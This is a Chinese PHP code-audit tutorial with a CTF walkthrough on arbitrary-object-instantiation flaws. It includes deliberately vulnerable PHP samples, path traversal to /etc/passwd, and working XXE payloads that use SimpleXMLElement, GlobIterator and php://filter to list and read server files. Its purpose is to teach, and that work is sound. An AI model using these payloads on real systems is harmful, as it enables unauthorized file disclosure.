PHP代码审计03之实例化任意对象漏洞
前言
根据红日安全写的文章,学习PHP代码审计的第三节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完相关知识点,会用一道CTF题目来加深巩固。之前分别学习讲解了in_array函数缺陷和filter_var函数缺陷,有兴趣的可以去看看:
PHP代码审计01之in_array()函数缺陷
PHP代码审计02之filter_var()函数缺陷
漏洞分析
下面我们看第一题,代码如下:
<?php
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
?>
这段代码有两处漏洞,第一处是文件包含漏洞,现在看代码第八行,这里用到了class_exists()函数来判断用户传过来的控制器是否存在。现在看一下PHP手册对这个函数的解释。
通过看上面的解释,我们知道,如果不指定第二个参数,默认情况下,如果本程序存在__autoload()函数,如果检查的类不存在,那么class_exists()函数就会去调用它。这道题的文件包含漏洞,就出现在这里。如果PHP版本在5~5.3之间,就可以使用路径穿越来包含任意文件,比如类名为../../../../../etc/passwd的查找,那么将查看passwd的内容。
第二处漏洞是在上面代码的第10行,我们发现实例化的类名和传入的参数都是我们可以控制的,所以我们可以通过这个漏洞调用PHP代码库的任意构造构造函数。比如可以使用PHP内置类SimpleXMLElement来进行XXE攻击,看一下PHP手册对这个函数的解释:
功能就是用来表示XML文档中的元素。详细的请看下面,重点是第六条,下面要用到它。
-
SimpleXMLElement::addAttribute-向SimpleXML元素添加属性
-
SimpleXMLElement::addChild-向XML节点添加子元素
-
SimpleXMLElement::asXML-基于SimpleXML元素返回格式良好的XML字符串
-
SimpleXMLElement::attributes-标识元素的属性
-
SimpleXMLElement::children-查找给定节点的子节点
-
SimpleXMLElement::__construct-创建新的SimpleXMLElement对象
-
SimpleXMLElement::count-计算元素的子级
-
ExtSimpleNamespaces::GetDocElement-在文档命名空间中声明
-
SimpleXMLElement::getName-获取XML元素的名称
-
SimpleXMLElement::getNamespaces-返回文档中使用的命名空间
-
SimpleXMLElement::registerXPathNamespace-为下一个XPath查询创建前缀/ns上下文
-
SimpleXMLElement::saveXML-别名SimpleXMLElement::asXML
-
SimpleXMLElement::__toString -返回字符串内容
-
SimpleXMLElement::xpath-对XML数据运行XPath查询
为了便于理解,用一小段代码来说明:
<?php
$xml = <<<EOF
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:Windows/win.ini">
]>
<x>&xxe;</x>
EOF;
$xml_class= new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>
查看系统win.ini文件,效果如下图:
CTF练习
通过上面的学习分析,是不是对实例化漏洞和XXE漏洞有了一点点的理解呢?下面我们来做一道CTF题目来练习一下吧,这道题考察的就是实例化漏洞和XXE漏洞。现在我们看具体代码:
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name']:null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'$value'.'<br>';
}
?>
我们把注意力放在class_exists()函数这里,上面我们说过了,这个函数它会去检查类是否定义,如果不存在的话,就会调用程序中的 __autoload 函数。我们发现上面没有__autoload 函数,是用spl_autoload_register注册了和__autoload()差不多的,这里输出404信息。
我们仔细看上面的代码第12~16行,我们发现这里的类和类里面的参数都是我们可以控制的,满足了上面咱们提到的实例化漏洞。也就是说,我们可以调用PHP的内置类来完成我们的攻击。
先用GlobIterator类来寻找flag文件的名字,PHP手册对这个类的构造函数定义如下:
通过上图,我们知道,第一个参数是必须的的,也就是搜索的文件名,第二个参数为选择文件的哪个信息作为键名。咱们先搜一下.txt文件。我们构造payload如下:
http://localhost/DMSJ/day3/index.php?name=GlobIterator¶m=*.txt
效果如下图,我们发现了flag.txt的文件。
下一步,就是查看这个文件,获取flag。用到的内置类为SimpleXMLElement,上面简单的提到了一下,现在就来使用它来进行XXE攻击来查看flag.txt文件的内容。这里需要注意一点:要结合PHP流的使用,因为当文件中存在: < > & ' " 等符号时会导致XML解析错误。我们用PHP流进行base_64编码输出就可以了。
什么是PHP流呢?这里简单说一下,PHP提供了php://的协议允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器,主要提供如下访问方式来使用这些封装器:
php://stdin
php://stdout
php://stderr
php://input
php://output
php://fd
php://memory
php://temp
php://filter
咱们用的最多的是php://input、php://output、php://filter。这里咱们就用php://filter,它是一个文件操作的协议,可以对文件进行读写操作,具体看下表:
read参数值可为:
- string.strip_tags: 将数据流中的所有html标签清除
- string.toupper: 将数据流中的内容转换为大写
- string.tolower: 将数据流中的内容转换为小写
- convert.base64-encode: 将数据流中的内容转换为base64编码
- convert.base64-decode:解码
这样是不是清楚许多了呢?那就构造如下payload:
http://localhost/DMSJ/day3/index.php?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/phpstudy_pro/WWW/DMSJ/day3/flag.txt">]><x>%26xxe;</x>¶m2=2
上面payload中的param2=2,实际上这里2对应的模式是 LIBXML_NOENT,具体效果如下图:
解码一下,如下:
我们拿到了flag。
小结
通过这篇文章的讲解,是不是对实例化漏洞和XXE漏洞有了更多的理解呢?下一篇文章会对strpos使用不当引发漏洞进行学习和分析,一起努力吧!